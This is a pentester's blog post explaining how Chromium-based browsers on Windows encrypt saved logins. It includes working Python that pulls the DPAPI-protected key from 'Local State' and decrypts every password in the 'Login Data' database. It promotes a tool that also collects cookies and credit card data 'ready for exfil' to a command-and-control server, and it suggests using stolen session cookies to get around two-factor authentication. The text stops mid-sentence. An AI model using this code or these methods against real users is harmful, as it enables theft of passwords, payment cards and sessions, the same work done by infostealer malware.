In my last blog post I covered some news out of Trend Micro about malware exfiling browser login data. Pentesters often use the same methods, while not having the same goals as malware authors, so when I read about getting access to user login data my very first thought was: "I want that. Oh, I want that a lot." Trend Micro stops short of showing how to decrypt the passwords so I went looking for some code that did the deed but came up short.To be clear, what I was looking for is the method to decrypt data that Chromium based Windows browsers want to keep secret. Chromium, because it is the basis of the major browsers: Google Chrome, Microsoft Edge, Opera and Brave. Windows, because in pentesting the vast majority of the time I'm going to have a Windows desktop and maybe Linux servers. Rarely will I see a Linux desktop.Most of the projects in GitHub to decrypt the passwords that I could find don't work any more. At some point Chromium changed the way they store passwords and the projects haven't been updated. So I downloaded the source code for Chromium and analyzed the C++ code for the Windows cryptography functions to figure out how it all works. I don't expect you to praise me, I just wanted you to know how hard it was.Too Many SecretsI put "secrets" in scare quotes in the title on purpose. Once the user is logged into Windows, everything encrypted by the browser is available to be decrypted. This isn't a design flaw, more a sacrifice to usability. You probably wouldn't want to be prompted for a browser password every time you log in to a website. But it can be way more secure than this and if you'd like to make your handling of passwords more secure then please see this blog post where I cover the use of my favorite password manager KeePassXC.How It WorksFigure 1The major elements that have to do with decrypting the user's login data are:Local State: A json file containing the browser's current configuration. We only need one thing out of this file and that is the DPAPI encrypted, encryption key.Login Data: This is a sqlite3 database that contains the URL, username, and encrypted passwords the user wants to store.DPAPI: This is provided by Windows and is a simple interface to encrypt/decrypt data based on an RSA key kept by Windows for each user.AES (Advanced Encryption Standard): In the browser this piece is provided by BoringSSL (an OpenSSL fork by Google) and is used when handling the password from Login Data.Older versions of Chromium didn't use anything but the Login Data and DPAPI. All the passwords were encrypted with DPAPI's CryptProtectData and unencrypted with CryptUnprotectData. Hardly even a challenge to figure out since Chromium would prefix each password it stored in the SQLite3 database with "DPAPI".Time has marched on though and now Chromium has a new groove. When the browser first starts it goes to the Local State json file and extracts the internal key in its encrypted form. It then calls the DPAPI CryptUnprotectData function to decrypt the internal key. That's the last we see of DPAPI in this process. Instead, when it is time to use an encrypted password from the Login Data Chromium uses its internal AES library and the decrypted internal key to decrypt the password. Then off it goes to the login form...I guess...once I had the plaintext password I lost interest in "the process."BrowserScanSo that's really all the information you need to start decrypting passwords, but just for you I went the extra mile and wrote an entire Python program to do it. You can find the program, BrowserScan, on github. It comes with an .EXE produced by pyinstaller. There are a ton of comments in the code so I'm not going to go through it line-by-line here, but just cover the important bits.The code I've included here is a simplified version of what is in the actual program for ease of explanation. This code may not execute without a little help. Use the released code on github as the reference implementation.Decrypt the Internal KeyLet's take a look at the function to decrypt the internal key which we'll need later to decrypt the user's passwords.def _getchromekey(self, browser):
chromekey = None
try:
state = json.load(open("Local State",'r'))
encrypted_key = state["os_crypt"]["encrypted_key"]
encrypted_key = base64.b64decode(encrypted_key)
if encrypted_key.startswith(b"DPAPI"):
chromekey = win32crypt.CryptUnprotectData(encrypted_key[ \
len(b"DPAPI"):])[1]
else:
chromekey = encrypted_key
except:
print(" [*] Chromium encryption key not found or not usable; maybe older version")
browser["chromekey"] = chromekey
return chromekeyAfter we parse the Local State file using the built-in json parser we can extract the encrypted version of the internal key:encrypted_key = state["os_crypt"]["encrypted_key"]It is base64 encoded so we decode it first. Any value Chromium encrypts with DPAPI it prefixes with "DPAPI" before storing, so we can use that to see if calling CryptUnprotectData is needed.if encrypted_key.startswith("DPAPI"):
chromekey = win32crypt.CryptUnprotectData(encrypted_key[len("DPAPI"):])[1]So we strip the header off and call CryptUnprotectData and we have our plaintext internal key._decrypt_passwords def _decrypt_passwords(self, browser):
browser["passwords"] = passwords = {}
try:
db = sqlite3.connect(browser["password_file"])
except:
print(" [-] Unable to open password file; expected a SQLite3 database.")
return None
cursor = db.cursor()
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
data = cursor.fetchall()
for url, username, ciphertext in data:
plaintext = self.decrypt_ciphertext(browser, ciphertext)
if plaintext:
passwords[url] = (url, username, plaintext)
else:
print(" [-] Error decrypting password for '%s'." % url)The application has the ability to hunt down Chromium browser installs, so you don't have to specify or even know when you run it which browser is installed. So the code passes around a dict called browser that contains everything we learn about a particular browser. In this case, we're going to be decrypting all the user's Login Data. Caveat: I don't show it here, but the program copies the Login Data file before opening it. If you don't do that and the user has the browser open you'll get an error from SQLite. Even if it didn't, I'd copy it anyway to take with me because, pentester.I think the SQLite3 code is pretty self explanatory. Here is a tutorial on using the Python SQLite3 library if you are not familiar with it.The rest of the function is just going through each record and calling decrypt_ciphertext for each password so I guess we should take a look at that next.decrypt_ciphertextdef decrypt_ciphertext(self, browser, ciphertext):
plaintext = chromekey = None
if "chromekey" in browser:
chromekey = browser["chromekey"]
# If this is a Chrome v10 encrypted password
if ciphertext.startswith(b"v10"):
ciphertext = ciphertext[len(b"v10"):]
nonce = ciphertext[:ChromiumScanner.CHROME_NONCE_LENGTH]
ciphertext = ciphertext[ChromiumScanner.CHROME_NONCE_LENGTH:]
# TODO: get rid of magic number
ciphertext = ciphertext[:-16]
cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)
plaintext = cipher.decrypt(ciphertext).decode("UTF-8")
elif ciphertext.startswith(b"DPAPI"):
plaintext = win32crypt.CryptUnprotectData(ciphertext[ \
len(b"DPAPI"):])[1].decode("UTF-8")
return plaintextJust like with the "DPAPI" prefix, any data Chromium encrypts with its own internal AES implementation gets a prefix. In this case it is "v10". The rest of the code just sets up Python's AES object to be able to decrypt. So after we strip off the prefix we copy out the nonce. The AES decrypter requires a nonce so Chromium supplies it in the 12 bytes after the version prefix. We copy that and then strip it out of the ciphertext.I hate "magic numbers", but I can't figure out what the 16 bytes at the end of every password is used for. I did not delve into the bowls of the BoringSSL library. Once I realized those bytes had nothing to do with the password I just moved on. If you know, feel free to submit an issue on GitHub or a pull request.So now we're ready to setup the Python AES object and then decrypt the ciphertext into a plaintext password. Finally we convert the bytes into a string with .decode("UTF-8"). Tada! cipher = AES.new(chromekey,AES.MODE_GCM,nonce=nonce)
plaintext = cipher.decrypt(ciphertext).decode("UTF-8")You may get an error from BrowserScan when decrypting some passwords. I'm not 100% on this, but I think the cause is the user's Window's password being changed in some abnormal way. The typical way this would happen is if an Administrator forcibly changed the password.ConclusionWhen you run the application the data itself will be found in the "browser-loot" directory ready for exfil to your command & control server. Here is a sample of the output:And here is where you see I might have buried the lede. Chromium stores lots of things in SQLite databases and it "secures" it in the same way it does passwords. Those malware authors that Trend Net identified left a lot on the table. "Credit cards" just jumps right out at me. We get the card number, name, and expiration. Everything but the security code on the back. Also think about the "cookies". Sure you can have 2-factor-authentication so just having your user name and password isn't enough for me to log in. But now I have the session key found in the cookies and can just pretend to be you using it with a tool like BurpSuite.As a pentester if I can get a login session and run my BrowserScan program I am go